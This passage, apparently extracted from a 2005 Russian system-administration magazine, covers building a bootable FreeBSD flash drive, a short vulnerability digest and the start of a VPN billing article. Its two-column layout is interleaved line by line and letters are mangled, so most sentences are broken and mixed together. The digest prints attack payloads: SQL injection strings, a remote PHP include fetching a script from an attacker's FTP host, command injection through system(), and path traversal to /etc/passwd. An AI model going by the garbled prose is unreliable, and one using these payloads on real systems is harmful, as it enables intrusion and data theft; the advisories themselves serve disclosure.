beg: cyl 3/ head 0/ sector 1;
end: cyl 31/ head 91/ sector 59 Команда disklabel создала необходимые разделы.
Но монтировать еще пока нечего, disklabel – это «fdisk
Как совершенно очевидно, значения цилиндр-головка- для разделов FreeBSD». Это часто вызывает путаницу –
сектор отличаются, хотя размер разделов одинаковый. Бо- как это, разделы внутри разделов? Несмотря на кажу-
лее того, эти цифры отличаются и от тех, что приведены щуюся сложность, это очень удобно. Дело в том, что раз-
в начале статьи в плане разделов! Они изменяются, когда мер таблицы разделов (терминология DOS) не позволяет
команда disklabel записывает загрузчик FreeBSD. На са- иметь более 4 разделов на одном диске. Ограничение это
мом деле, конечно же, все эти цифры условные. На Flash было введено еще во времена 20Мб жестких дисков и тог-
нет никаких цилиндров, головок и тому подобных вещей. да казалось вполне разумным. Со временем оно перерос-
Вся эта терминология идет от жестких дисков и оставлена ло в стандарт, и, хотя уже давным-давно стало неудоб-
для совместимости. Поэтому неудивительно, что все рабо- ным, от него не отказываются. Различные менеджеры за-
тает, несмотря на изменения цифр. грузок обходят его, создавая свои таблицы разделов, кото-
Как это ни странно, нормальный раздел FreeBSD через рые несовместимы друг с другом. FreeBSD Team поступи-
программу /stand/sysinstall создать не удалось – как толь- ла просто – создается некий «мета-раздел», который был
ко создавался раздел программой sysinstall, так при следу- назван «слайсом», в котором находятся «разделы». Поэ-
ющей загрузке что-то непременно ломалось – переставал тому, сколько бы на самом деле не было файловых систем
грузиться или DOS, или сам менеджер загрузок. Поэтому в слайсе FreeBSD, для менеджеров загрузок он выглядит
в следующей попытке раздел под FreeBSD был создан с по- всегда как один раздел.
мощью Ranish Partition Manager. Поскольку Ranish не может Почему мы опять не используем для создания разделов
напрямую создать раздел FreeBSD, можно создать раздел в слайсе /stand/sysinstall? Потому что мной было замече-
любого типа, а потом отредактировать его тип. Тип разде- но, что при непосредственном создании разделов в слай-
ла FreeBSD – 165 (при редактировании Ranish дает спи- се через disklabel DEVFS создает устойство /dev/da0s2a,
сок типов, из которого следует выбрать нужный). Для тех, отражающее созданный раздел, а при создании разделов
кто не хочет сам создавать разделы, существует файл через /stand/sysinstall – создает почему-то /dev/da0s2d, не-
xfidskboot.rar, ссылка на который приведена выше. Он со- смотря на то что /dev/da0s2a не существует (а разделы со-
держит два раздела с правильными значениями (образ здаются строго по порядку).
снимался уже после установки FreeBSD). После создания Наконец раздел для FreeBSD создан. По умолчанию
раздела FreeBSD раздел DOS был заполнен программным в нем отключено асинхронное обновление и отключено
обеспечением и началась установка FreeBSD. использование ACL. Проверить это можно в любое время
Здесь все тоже оказалось весьма непросто. Стандар- командой tunefs:
тная программа установки /stand/sysinstall хоть и имеет
возможность изменения «корневого каталога установ- # tunefs -p /dev/da0s1a
ки», но не всегда этим параметром пользуется. Например, tunefs: ACLs: (-a) disabled
при установке пароля root, независимо от значения этого tunefs: MAC multilabel: (-l) disabled
параметра, меняется пароль в /etc/master.passwd. На самом tunefs: soft updates: (-n) disabled
tunefs: maximum blocks per file in a cylinder group: (-e) 2048
деле работа /stand/sysinstall – это последовательность вы- tunefs: average file size: (-f) 16384
полнения некоторых операций, которые можно выполнить tunefs: average number of files in a directory: (-s) 64
и вручную. И, собственно, первый этап – создание разде- tunefs: minimum percentage of free space: (-m) 8%
tunefs: optimization preference: (-o) time
ла для установки FreeBSD – мы уже сделали. Здесь надо tunefs: volume label: (-L)
отметить, что в данном контексте «раздел» – термин DOS,
а не FreeBSD. Во FreeBSD это называется слайсом (slice). Каковы будут наши дальнейшие шаги:
Слайс – это мета-раздел, для него всегда резервируется ! Создание файловой системы в разделе (через /stand/
буква «c», которая не может быть использована для дру- sysinstall).
гих разделов (например, /dev/ad0s2c). Иногда этот раздел ! Установка программного обеспечения, входящего в ба-
(здесь «раздел» – уже терминология FreeBSD) еще назы- зовую поставку (через /stand/sysinstall).
вают «описателем слайса», потому что он всегда описыва- ! Копирование каталога /stand.
ет все выделенное в слайсе пространство. Но сейчас в нем ! Установка загрузчика FreeBSD.
еще ничего не записано. Первым делом мы создаем внут- ! Реконфигурация ядра, записываемого на Flash.
ри слайса описатель (раздел s2c) и один раздел с точкой ! Настройка конфигурационных файлов.
монтирования «/», который будет использоваться как ко- ! Установка дополнительного софта.
рень файловой системы. Других разделов создавать не бу- ! Настройка часового пояса (на загруженном Flash).

36
администрирование
Предварительно на компьютере, на котором произво- media». Здесь, прежде чем начать выбирать, что ставить,
дится установка FreeBSD, на Flash необходимо создать обязательно нужно изменить «корень инсталлируемой сис-
точку (точки) монтирования для разделов DOS и FreeBSD. темы» – install root. Потом это сделать не будет возможнос-
Допустим, эти точки монтирования созданы и называются ти. В меню «Choose installation media» выбираем самый пос-
/mnt/umass/dos для раздела DOS и /mnt/umass/ufs для раз- ледний пункт «Go to the Option Screen», переводим курсор
дела FreeBSD. на пункт «Install root» (стрелкой вниз, по-другому не полу-
Запускаем /stand/sysinstall, выбираем пункт «Do post- чится), нажимаем пробел, вводим «/mnt/umass/ufs» в по-
install configuration of FreeBSD», затем «The disk Label editor», явившееся окно и нажимаем <Q> для выхода обратно к
переводим курсор на da0, отмечаем его нажатием клавиши «Choose installation media». Выбираем носитель, который
«пробел» и получаем экран FreeBSD Disklabel editor. Пере- содержит дистрибутив FreeBSD. Я рекомендую устанавли-
водим курсор на строку da0s2a, нажимаем < M> и задаем вать или с существующей файловой системы («Install from
точку монтирования, в которую будет смонтирована фай- an existing filesystem»), или с раздела DOS («Install from a
ловая система после ее создания. Данная точка монтиро- DOS partition»). Инструкция о том, как разместить дистри-
вания может и не существовать, в этом случае она будет бутив на разделе DOS, приводится в [15]. Почему? Запись
создана автоматически. на Flash идет медленно, если дистрибутив устанавливает-
Внимание! Здесь задается точка монтирования в те- ся, например, по FTP, то в зависимости от сервера соеди-
кущей системе, а не та точка, в которую данная файловая нение с ним будет время от времени прерываться, програм-
система будет смонтирована при загрузке! ма /stand/sysinstall будет выводить заново экран «Choose
Затем указываем, что файловая система требует созда- installation media». Это не страшно, после повторного ввода
ния (это может быть не определено автоматически), нажав инсталляция продолжится заново, но очень надоедает. Пос-
<T> (в колонке Part буква «N» должна смениться на «Y»), уби- ле выбора источника дистрибутива sysinstall может спро-
раем признак асинхронного кэширования при записи фай- сить «Running multi-user, network already configured?», отве-
лов, нажав <S> (в колонке Newfs вместо «UFS2+S» долж- чаем «Yes», начинается установка. Индикатор на экране от-
но появится «UFS2») и нажимаем <W> для записи внесен- ражает состояние установки каждого пакета. Установка вы-
ных изменений на Flash. После того как sysinstall сообщит бранных пакетов может идти достаточно долго – один или
о том, что файловая система создана, она будет смонти- даже несколько часов. Программа установки обязательно
рована в указанную точку. должна завершить работу и вернуться в меню «FreeBSD
Если вдруг при запуске /stand/sysinstall после сообще- configuration». Если во время установки появляется экран
ния «Probing devices, please wait...» вдруг происходит ава- «Choose installation media», значит, возник тайм-аут на со-
рийное завершение работы sysinstall с диагностикой «BARF единении с носителем и необходимо еще раз указать все
107 <157>» или подобным (числа могут отличаться) – зна- настройки. Это может происходить неоднократно, никак не
чит, на одном из установленных жестких дисков уже созда- влияя на процесс установки, но очень надоедает раза пос-
ны разделы, и sysinstall не смог правильно определить эти ле третьего, и именно поэтому я советовал устанавливать
разделы. Обнаружить это можно также по наличию в ка- с существующей системы или DOS-раздела.
талоге /dev странных имен устройств типа ad0s1s1. Для то- После завершения установки всех пакетов выходим из
го, чтобы не переставлять жесткий диск в другой компью- /stand/sysinstall. Теперь у нас есть вся базовая система пол-
тер, можно просто стереть таблицу разделов следующей ностью, в том числе GENERIC ядро, /boot и все, что необхо-
командой: димо для загрузки. Единственное, что не переносится при
ручной установке – каталог /stand. Перенос каталога /stand
# dd if=/dev/zero of=/dev/da0 bs=512 count=63 выполняется следующей командой:

Внимание! Цифры в выделенном фрагменте могут от- # Þnd -x /stand | cpio -pdum /mnt/umass/ufs
личаться в зависимости от того, где установлен жесткий
диск! где /mnt/umass – точка в которую был смонтирован раздел
Для создания файловой системы можно было бы ис- FreeBSD. На вашей системе она скорее всего будет дру-
пользовать и непосредственно newfs. Задаем такую ко- гой. (Данная команда была взята из исходных текстов са-
манду: мой sysinstall).
Теперь нужно установить загрузчик ядра FreeBSD на тот
# newfs -O2 /dev/da0s2a раздел («слайс»), в который инсталлирована FreeBSD. Де-
лается это командой disklabel:
При этом все прочие параметры будут установлены
по умолчанию (на самом деле мне никогда не приходи- # disklabel -B da0s2
лось их править).
Выходим из FreeBSD Disklabel editor (<Q>). Выбира- Код загрузчика будет взят из файла /boot/boot, кото-
ем в меню «Install additional distribution sets». После выбо- рый уже к этому времени создан в процессе установки
ра мы попадаем в меню «Select the distributions you wish системы.
to install». Выбираем (отмечаем нажатием клавиши «про- Итак, система загружается. Это было тут же провере-
бел») пакеты base, compat4x и man. Клавишей <Tab> пе- но, и тут же zBoot меня очень сильно разачаровал – ока-
реходим на <OK>, попадаем в меню «Choose installation зывается, по непонятным причинам он не способен за-

№9, сентябрь 2005 37


администрирование
грузить FreeBSD. Пришлось загрузить DOS и установить #less /etc/rc.conf
xFDisk, который загружает как DOS, так и FreeBSD без вся- rc _ conf _ Þles="/etc/rc.conf"
ких проблем. tmpmfs="YES" # Создаем MFS для монтирования ее в /tmp
tmpsize="20m" # Задаем ее размер 20 Мб
Первые версии FlashBOOT использовали в качестве varmfs="YES" # Создаем MFS для монтирования ее в /var
менеджера загрузки GRUB, но впоследствии я перешел varsize="32m" # Задаем ее размер 32 Мб
# В сетевых интерфейсах только lo0, ни одной сетевой карты
на конфигурируемые из DOS менеджеры, потому что network _ interfaces="lo0"
установка DOS проходит значительно быстрее, чем ус- hostname="usbßash" # Это просто наше имя
Þrewall _ enable="YES" # Да! Здесь есть Þrewall.
тановка FreeBSD – достаточно записать на Flash файл # Только он не запущен.
seitek2000.dsk, описание и ссылка на который приводи- Þrewall _ type="open"
log _ in _ vain="YES"
лась выше, – и вот установлена чистая DOS без единой tcp _ drop _ synÞn="YES"
дополнительной программы. tcp _ extensions="YES"
tcp _ restrict _ rst="YES"
Реконфигурация ядра делается стандартным спосо- inetd _ enable="NO" # Не запускать inetd
бом – создается файл конфигурации ядра, в который впи- sendmail _ enable="NONE" # Не запускать sendmail вообще
portmap _ enable="NO" # Не запускать portmap
сываются все необходимые опции и устройства, выполня-
ется команда: font8x8="koi8-r-8x8"
font8x14="koi8-r-8x14"
font8x16="koi8-rb-8x16"
# cd /usr/src keyrate="fast"
# make kernel KERNCONF=Flash DESTDIR=/mnt/umass/ufs keymap="ru.koi8-r"
ldconÞg _ paths="/usr/lib/compat /usr/local/lib"
Здесь Flash – имя файла конфигурации ядра, который дол-
жен быть создан заранее, /mnt/umass/ufs – точка монти- Перед первой загрузкой обязательно нужно очистить
рования, куда был смонтирован раздел FreeBSD с Flash. каталоги /mnt/umass/ufs/tmp и /mnt/umass/ufs/var, потому
При этом старый каталог ядра /mnt/umass/ufs/boot/kernel что создание MFS для /tmp и /var при загрузке c Flash вы-
будет переименован в /mnt/umass/ufs/boot/kernel.old. Ес- полняется только в том случае, если они пустые. В катало-
ли необходимо использовать модули (все или ту часть, ко- ге /mnt/umass/ufs/var обычно имеется каталог empty с ат-
торая перечислена в MODULES_OVERRIDE= в файле /etc/ рибутами schg (System Immutable), который можно увидеть
make.conf), то дополнительно нужно сделать: по команде:

# cd /sys/modules # cd /var
# make all install DESTDIR=/mnt/umass/ufs # ls -lo | grep empty
dr-xr-xr-x 2 root wheel schg 512 Nov 5 2004 empty
При этом модули будут помещены или в каталог яд-
ра /mnt/umass/ufs/boot/kernel или в каталог модулей /mnt/ Для его удаления сначала нужно снять с него атрибут
umass/ufs/boot/modules. Подробнее о процессе пересбор- schg:
ки ядра написано в [14].
Настройка конфигурационных файлов заключается # cd /var
# chßags noschg empty
главным образом в создании или редактировании тех фай-
лов, которые при установке через /stand/sysinstall создают- Последнее, что нужно сделать, – установить дополни-
ся автоматически. тельное программное обеспечение, не входящее в базо-
Это файл /etc/fstab, в который нужно вписать строки: вую поставку, но желательное, потому что здорово облег-
чает жизнь (эта фраза, несомненно, вызовет бурю возму-
# Device Mountpoint FStype Options Dump Pass# щения со стороны «настоящих» юниксоидов, которые счи-
/dev/da0s2a / ufs rw 1 1
тают, что пользоваться каким-либо редактором, кроме vi –
Если этот файл изначально отсутствует, создайте его, есть признак ламера). Список софта, который был установ-
например командой touch: лен, приведен выше. К сожалению, я не нашел возможнос-
ти устанавливать софт прямо из портов с указанием целе-
# touch /etc/fstab вого каталога и каталога для хранения базы установлен-
ных программ, поэтому необходимый софт был запакован
Это файл /etc/motd, который содержит приветствие, вы- в пакеты командой (например):
водимое при регистрации в системе. Впрочем, его можно и
не создавать. Образец файла приведен ниже. # cd /var/db/pkg
# pkg _ create -b mc-4.6.0 _ 11

# less /etc/motd после чего файл mc-4.6.0_11.tgz (и другие нужные нам па-
FreeBSD 5.4-RELEASE (Sentry) #3: Thu Jul 21 19:50:40 кеты, список приведен в начале статьи) был перенесен
NOVST 2005 на Flash в каталог /usr/tmp для его последующей установки
This is only LiveFlash maintenatce system. You should know, в системе, загруженной непосредственно с Flash. Таким об-
what you want to do. разом, в /usr/tmp были записаны все необходимые пакеты,
которые потом, после установки будут удалены. Для того
Это файл /etc/rc.conf, который содержит все настройки чтобы отслеживать изменение состояния софта, который
системы. Файл /etc/rc.conf, присутствующий в выложенном не входит в базовую поставку, каталоги pkg и ports, которые
образе, приведен здесь с комментариями: обычно размещаются в /var/db, вынесем в /usr/share/db. Что-

38
администрирование
бы система знала, где ей искать эти каталоги, в файле /root/. Federation Time Zones» часовые пояса указаны относи-
cshrc установим следующие переменные окружения: тельно Москвы. Допустим, мы выбрали зону «Moscow+03 –
Novosibirsk». На последний вопрос «Does the abbreviation
setenv PKG _ DBDIR /usr/share/db/pkg ‘NOVST’ look reasonable?» отвечаем утвердительно и вы-
setenv PORTS _ DBDIR /usr/share/db/ports
ходим из программы /stand/sysinstall.
На этом наша работа непосредственно по созданию После установки часового пояса нужно немного почис-
Flash закончена и начинается деятельность по ее перво- тить Flash. В стандартной поставке присутствует достаточ-
начальной настройке, которую необходимо провести не- ное количество файлов и каталогов, которые никогда и ни-
посредственно в системе, загруженной с Flash. Заодно кому не понадобятся. Это каталоги, содержащие информа-
при этом проверим, что ничего не поломали в процессе ус- цию о том, какие денежные единицы в Бурунди, и сообще-
тановки. (На самом деле здесь нет ничего смешного – в про- ния для некоторых программ на иврите и франко-канадс-
цессе создания Flash мне пришлось один раз откатывать- ком, а также некоторая документация по системе. И пусть
ся на самое начало из-за того, что по непонятным причи- они не так уж и много места занимают – на Flash вообще
нам перестал грузиться DOS.) места немного. Хотя, например, объем каталога /usr/local/
share/locale может достигать десятков мегабайт.
Первоначальная настройка Итак:
Итак, заходим в BIOS, настраиваем наш компьютер на за- ! Каталоги /usr/share/locale и /usr/local/share/locale – уда-
грузку с USB, перегружаемся и видим наконец-то загру- ляем все, что не ru_RU, en_GB, en_US, la_LN. Оставля-
зочное меню xFDisk. Выбираем раздел FreeBSD. Загрузка ем также UTF-8 и bg_BG.CP1251. Последний использу-
с Flash идет значительно медленнее, чем с жесткого диска, ется в ru_RU.CP1251.
но, конечно, значительно быстрее, чем с дискет. ! Каталоги /usr/share/nls и /usr/local/share/nls – точно так
После загрузки системы первым делом устанавлива- же удаляем все, что не ru_RU, en_GB, en_US, la_LN. Ос-
ем дополнительные программы, пакеты которых мы за- тавляем также C, POSIX и bg_BG.CP1251. Последний по
ботливо сложили в /usr/tmp. Делаем это, как обычно, ко- причине, изложенной выше.
мандой pkg_add: ! Каталог /usr/share/doc – удаляем полностью. Вряд ли нам
понадобится та документация, что там хранится.
# pkg _ add mc-4.6.0 _ 11.tgz ! Каталог /usr/share/info – удаляем полностью. Точно так
же (хотя, конечно, эти каталоги можно и не удалять).
Если устанавливаемый пакет зависит от другого паке-
та, и этот пакет присутствует в каталоге, из которого запу- Всё! Выполняем последнюю проверку на то, что в про-
щен pkg_add, то он будет молча установлен. Если же pkg_ цессе установки FreeBSD ничего не было поломано (а такое
add не находит пакета, от которого зависит устанавливае- однажды случилось) путем загрузки поочередно FreeBSD
мый, то установка будет прервана: и DOS.

# pkg _ add mc-4.6.0 _ 11.tgz Возможные ошибки


pkg_add: could not find package pkgconfig-0.17.0 ! Процесс создания Flash очень критичен к ошибкам. Малей-
шая неточность – и все приходится начинать сначала. По-
После установки всех необходимых пакетов обязатель- этому, приступая к созданию собственного образа, снача-
но нужно выполнить две важные вещи, которые не забывает ла обдумайте, а стоит ли это делать, может, проще развер-
/stand/sysinstall, а именно – задать пароль пользователя root нуть готовый и модифицировать его?
и настроить часовой пояс. Отсутствие в системе настроен- Помните, что:
ного часового пояса не влияет на даты создания или изме- ! Далеко не все Flash распознаются программами типа
нения файла, поскольку они хранятся в «Unix time» (число Acronis Disk Director/Partition Magic как жесткие диски.
секунд с 1 января 1970 г.), но влияет на значение даты, вы- Это значит, что из-под DOS/Windows создать раздел
водимой по команде date, подставляемой во все текстовые нужного размера будет невозможно. Если при установ-
журналы, и отображаемой всеми командами. ке Flash в компьютер с Windows Acronis Disk Director/
Изменить пароль пользователя root просто: Partition Magic его не видит, значит, Flash распознан как
сменный носитель и создать на нем раздел можно толь-
# passwd root ко записью образа seitek2000.dsk так, как описано в на-
Changing local password for root чале раздела «Создание». Некоторые Flash-диски, на-
New Password: пример Transcend JetFlash, имеют в своем составе спе-
Retype New Password:
циальные утилиты, позволяющие переключаться меж-
Для настройки часового пояса воспользуемся /stand/ ду режимами «жесткий диск» и «сменный носитель».
sysinstall. Выбираем в главном меню «Do post-install ! Если устанавливаете какой-либо не перечисленный
configuration of FreeBSD», затем «Set which time zone мной менеджер загрузок, сначала скопируйте область
you’re in». На вопрос «Is this machine clock set to UTC» отве- загрузчика в файл, чтобы потом можно было его вос-
чаем по умолчанию (а по умолчанию стоит «No», и это нам становить в случае, если он не заработает:
подходит). Затем выбираем регион (Asia), страну (Russian
Federation) и подходящий часовой пояс. В меню «Russian # dd if=/dev/da0 of=backup.dsk count=63

№9, сентябрь 2005 39


администрирование
! После установки менеджера загрузок обязательно про- но попытаться протестировать и восстановить диск на са-
верьте, что и DOS, и FreeBSD загружаются. Появление мом нижнем уровне.
меню менеджера загрузок – еще не показатель его ра- Я благодарю Александра Дёмина, сетевого администра-
боты. тора из московской группы компаний «Спектрум», за пре-
! Не загружайте драйвера USB for DOS, если на компью- доставленный хостинг файла образа Flash.
тере USB клавиатура или мышь, в момент инициализа-
ции драйвера клавиатура (мышь) обязательно завис- Литература и ссылки:
нет. 1. http://frenzy.org.ua – домашняя страница проекта
! Если стандартный FDISK для DOS говорит, что на раз- Frenzy.
деле DOS UNKNOWN filesystem – значит, раздел DOS 2. http://www.mecronome.de/xfdisk – домашняя страница
создан неправильно. менеджера загрузок xFDisk.
! Если при создании файловой системы в пустом слайсе 3. http://www.symon.ru – домашняя страница менеджера
FreeBSD она помещается на /dev/da0s2d, а не на /dev/ загрузок SyMon.
da0s2a, выйдите из sysinstall и создайте файловую сис- 4. http://www.ranish.com/part – домашняя страница програм-
тему вручную, как было описано выше. мы Ranish Partition Manager.
! Если при копировании какого-либо базового пакета по- 5. http://www2.arnes.si/~fkomar/xosl.org – домашняя страни-
является окно «Choose installation media» – не паникуй- ца менеджера загрузок XOSL.
те. Это просто оборвалась связь с сервером, с которо- 6. http://www.penguin.cz/~mhi/mbtmgr – домашняя страни-
го берется дистрибутив. Укажите, где расположен дис- ца менеджера загрузок MATTSoft Bootmanager.
трибутив заново. Запись на Flash идет долго, поэтому 7. http://www.zbmsoft.com – домашняя страница менедже-
перед тем, как устанавливать систему на Flash, лучше ра загрузок zBoot.
скопируйте дистрибутив на локальный диск. 8. http://www.granch.ru/~shelton/fileZ/flashboot/seitek2000.
! При генерации пароля пользователя root, при созда- rar – начальный образ Flash-диска. Один раздел DOS
нии дополнительных пользователей и при настройке 23 Мб, без менеджера загрузок. Контрольная сумма
часового пояса sysinstall всегда изменяет файлы в /etc, MD5 файла равна: MD5 (seitek2000.rar) = fff2b36eda90f
а не в «Install Root». 2ff9558e588c7afbc55. Длина файла в упакованном виде
! Указывать Install Root следует после того, как были со- 514006 байт, в распакованном 1024000 байт (2000 сек-
зданы файловые системы. Во время создания файло- торов по 512 байт).
вых систем они монтируются в те точки, которые зада- 9. http://www.granch.ru/~shelton/fileZ/flashboot/seitek2000.
ются на экране FreeBSD Disklabel editor, так что если вы fdisk – отчет fdisk, созданный по образу seitek2000.dsk
зададите Install Root в самом начале, то созданные фай- при монтировании этого образа RAM-диском.
ловые системы будут смонтированы, например, в /mnt/ 10. http://www.granch.ru/~shelton/fileZ/flashboot/booteasy.rar –
tmp/mnt/tmp вместо /mnt/tmp. образ области загрузчика (первые 63 сектора). Два раз-
! Обязательно дождитесь завершения работы sysinstall, дела (DOS и FreeBSD). Контрольная сумма MD5 файла
когда она устанавливает базовые пакеты. Даже если на равна: MD5 (booteasy.rar) = 67f70ae4fbda870d7eb64fdc07f6
экране ничего не обновляется, процесс работы можно 49ac. Длина файла в упакованном виде 7330 байт, в рас-
отслеживать по индикатору Flash – как правило, он ми- пакованном виде 32256 байт (63 сектора по 512 байт).
гает, когда идет процесс чтения/записи данных. 11. http://www.granch.ru/~shelton/fileZ/flashboot/booteasy.
fdisk – отчет fdisk, созданный по образу booteasy.dsk
Заключение при монтировании этого образа RAM-диском.
Раньше непременным атрибутом каждого системного ад- 12. http://www.granch.ru/~shelton/fileZ/flashboot/xfdiskboot.
министратора была загружаемая дискета (или несколь- rar – образ области загрузчика (первые 63 сектора).
ко дискет), с которой выполнялась и установка систем, Два раздела (DOS и FreeBSD). Контрольная сумма MD5
и их проверка. Но дисковод гибких дисков – ненадежная файла равна: MD5 (xfdiskboot.rar) = 0a1b605ebe9994fb8
вещь, да и емкость дискеты невелика. eaad4b134dd02aa. Длина файла 19852 байта в упако-
Загружаемая Flash, описанная здесь, может пригодить- ванном виде, 32256 в распакованном виде (63 секто-
ся любому системному администратору – и тому, у которо- ра по 512 байт).
го под столом стоит единственный сервер, и тому, у кото- 13. http://www.granch.ru/~shelton/fileZ/flashboot/xfdiskboot.
рого в серверной ряды стоек, забитых 19" корпусами, по- fdisk – отчет fdisk, созданный по образу xfdiskboot.dsk
тому что позволяет отказаться от такой ненадежной вещи, при монтировании этого образа RAM-диском.
как дисковод гибких дисков и не устанавливать в корпус 14. http://www.freebsd.org/doc/en_US.ISO8859-1/books/
привод CD-ROM. handbook/kernelconfig-building.html – Глава 8, пункт 3 «Ру-
Пусть работать с ним не так просто, как хотелось бы, за- ководства пользователя FreeBSD», посвященная пере-
то возможности его практически равны возможности нор- сборке ядра.
мальной FreeBSD. Установил Flash в корпус, поставил до- 15. http://www.freebsd.org/doc/en_US.ISO8859-1/books/
статочное количество ОЗУ и перенаправление журнальной handbook/install-diff-media.html – Глава 2, пункт 2.13.4
информации – и вот, пожалуйста, готовый маршрутизатор. «Руководства пользователя FreeBSD», посвященная
Запустил Disk Editor c раздела DOS – и можно попытаться подготовке собственных источников установки, в том
восстановить удаленный файл. Запустил MHDD – и мож- числе и c раздела DOS.

40
bugtraq

SQL-инъекция в Mailgust PHP-инклудинг и обход каталога


Программа: Mailgust 1.9. в PBLang
Опасность: Средняя. Программа: PBLang 4.65.
Описание: Уязвимость позволяет удаленному пользовате- Опасность: Критическая.
лю выполнить произвольные SQL-команды в базе данных Описание: При регистрации пользователя создается файл
приложения. Уязвимость существует в сценарии gorum/ в каталоге /db/members, содержащий данные пользовате-
user_email.php опции «PHP magic quotes». Удаленный поль- ля. Удаленный пользователь может с помощью специаль-
зователь может с помощью специально сформированно- но сформированного значения переменной ‘location’ вы-
го запроса выполнить произвольные SQL-команды в базе полнить произвольный PHP-сценарий на целевой систе-
данных приложения. Пример: ме. Пример:
[your _ email],'or'a'='a'/*@hotmail.com madrid"; system($HTTP _ POST _ VARS[cmd]); echo "

URL производителя: www.mailgust.org. Затем пользователь может выполнить произвольный


Решение: В настоящее время способов устранения уязви- PHP-сценарий. Пример:
мости не существует.
http://[target]/[path]/setcookie.php?u=[username]%00

PHP-инклудинг в AutoLinks Pro Сценарий setcookie.php недостаточно обрабатывает


Программа: AutoLinks Pro 2.1. входные данные в параметре u. Удаленный пользователь
Опасность: Критическая. может с помощью специально сформированного URL про-
Описание: Уязвимость существует в сценарии autolinks/ смотреть произвольные файлы на системе. Пример:
al_initialize.php при обработке входных данных в парамет- http://target]/[path]/pblang/setcookie.php?
ре alpath при включенной опции register_globals в конфигу- u=. ./../../../../etc/passwd%00
рационном файле php.ini. Удаленный пользователь может URL производителя: www.pblang.drmartinus.de.
с помощью специально сформированного URL выполнить Решение: В настоящее время способов устранения уязви-
произвольный PHP-сценарий на целевой системе с приви- мости не существует.
легиями веб-сервера. Пример:
http://[target]/al _ initialize.php?alpath=ftp://[attacker]/
SQL-инъекция в Oracle Reports
Программа: Oracle Reports.
Примечание: Сценарий атакующего должен быть на- Опасность: Средняя.
зван al_functions.php. Описание: Уязвимость существует в реализации Lexical
URL производителя: www.scriptscenter.com/autolinks. Reference – контейнере, содержащем данные, которые до-
Решение: В настоящее время способов устранения уязви- бавляются в SELECT-запрос. Удаленный пользователь мо-
мости не существует. жет изменить SQL-запрос в секциях, следующих за SELECT,
FROM, WHERE, GROUP BY, ORDER BY, HAVING, CONNECT
Отказ в обслуживании в Mozilla Firefox BY и START WITH. При использовании Lexical Reference уда-
Программа: Mozilla Firefox версии до 1.0.7. ленный пользователь может изменить SQL-запрос с помо-
Опасность: Средняя. щью специально сформированного URL. Пример:
Описание: Удаленный пользователь может создать Proxy http://myserver:8889/reports/rwservlet?report= ↵
Auto-Config (PAC)-сценарий со специально сформирован- sqlinject3.rdf+userid=scott/tiger@ora9206+destype= ↵
CACHE+desformat=HTML+paramform=yes
ным значением eval(), который, при загрузке, аварийно за-
вершит работу браузера. URL производителя: www.oracle.com.
URL производителя: http://www.mozilla.org/products/ Решение: В настоящее время способов устранения уязви-
firefox. мости не существует.
Решение: Установите исправленную версию (1.0.7) с сай-
та производителя. Целочисленное переполнение в PCRE
в веб-сервере Apache
PHP-инклудинг в WebCalendar Программа: Apache 2.0.54 и более ранние версии.
Программа: WebCalendar версии до 1.0.1. Опасность: Низкая.
Опасность: Критическая. Описание: Целочисленное переполнение буфера сущес-
Описание: Уязвимость существует из-за недостаточной твует при обработке .htaccess-файла. Локальный пользо-
обработки входных данных в параметре includedir файла ватель может создать специально сформированный файл
includes/functions.php. Удаленный пользователь может с по- и повысить свои привилегии на системе.
мощью специально сформированного URL выполнить про- URL производителя: www.apache.org.
извольный PHP-сценарий на целевой системе с привиле- Решение: Установите исправление с сайта производите-
гиями веб-сервера. ля.
URL производителя: www.k5n.us/webcalendar.php.
Решение: Установите последнюю версию (1.0.1) с сайта Составил Александр Антипов
производителя.

№9, сентябрь 2005 41


администрирование

ОРГАНИЗУЕМ ДОСТУП В ИНТЕРНЕТ


С ИСПОЛЬЗОВАНИЕМ БИЛЛИНГОВОЙ СИСТЕМЫ
Free
reeNIBS
NIBS

ЕВГЕНИЙ ЛИТВИНЕНКО
Одна из ваших основных задач – предоставить пользователям возможность доступа
в Интернет из локальной сети. Традиционно используемый для этой цели прокси-сервер
имеет некоторые недостатки, которых нет у системы, предлагаемой вам сегодня.

С
егодня мы создадим систему, которая обеспечит Одним из вариантов применения этой технологии явля-
пользователям локальной сети доступ в Интернет. ется предоставление компьютерам локальной сети выхо-
Для передачи данных внутри сети будем использо- да в Интернет. То есть на сервере, имеющем выход в Ин-
вать технологию VPN. Подсчет интернет-трафика ведет- тернет, работает служба, которая при подключении к ней
ся с помощью биллинговой системы FreeNIBS. Настрой- клиентского компьютера предоставляет ему доступ к гло-
ка производилась в популярном российском дистрибути- бальной сети.
ве ALT Linux Master 2.4. Использование данной технологии предоставляет не-
Напомню, что аббревиатура VPN расшифровывает- сколько преимуществ, которых не имеет аналогичная сис-
ся как Virtual Private Network – виртуальная частная сеть. тема, построенная с использованием прокси-сервера. Во-
Суть этой технологии заключается в том, что при подклю- первых, весь передаваемый трафик шифруется, что поз-
чении к VPN-серверу при помощи специального програм- воляет избежать перехвата данных в локальной сети. Во-
много обеспечения поверх общедоступной сети в уже уста- вторых, используя прокси-сервер, очень трудно организо-
новленном соединении организуется зашифрованный ка- вать корректное отключение пользователя при превыше-
нал, через который передается интернет-трафик. нии лимита на трафик. Это связано с тем, что подсчет тра-

42
администрирование
фика ведется с использованием протоколов прокси-серве- require-mppe
ра, в которые информация о трафике записывается только
по окончании скачивания файла. То есть если у пользова- Для проверки работоспособности VPN-сервера созда-
теля до превышения лимита осталось 2 Мб, а он решит за- ем тестовую учетную запись. Пользовательские данные
качать файл размером 10 Мб, то прокси-сервер позволит хранятся в файле /etc/ppp/chap-secrets в следующем фор-
это сделать. Главное, чтобы не оборвалось соединение. мате:

Настройка сервера VPN имя _ пользователя имя _ сервера пароль IP-адрес


Сети VPN используют протокол PPTP (Point-to-Point Tunneling
Protocol), который реализует пакет pptpd. Компиляция и ус- Например:
тановка пакета описаны в разделе «Пересборка пакетов».
Аналогично собирается и устанавливается пакет pppd, ре- test * 123 192.168.101.1
ализующий протокол связи PPP (Point-to-Point Protocol).
PPTP использует PPP при установке соединения с кли- Имя сервера, как правило, не указывают. Вместо него
ентским компьютером. Сервис pppd использует конфигу- ставится символ «*».
рационный файл /etc/ppp/options. Демон – /etc/pptpd.conf и Теперь можно подключаться к серверу. Если возникли
/etc/ppp/options.pptpd (последний указывается непосредс- какие-то проблемы – изучайте протоколы.
твенно в pptpd.conf и может быть изменён на файл с дру- После того как заработала связка pptpd+pppd, настраи-
гим именем). вается система авторизации FreeRadius и система подсче-
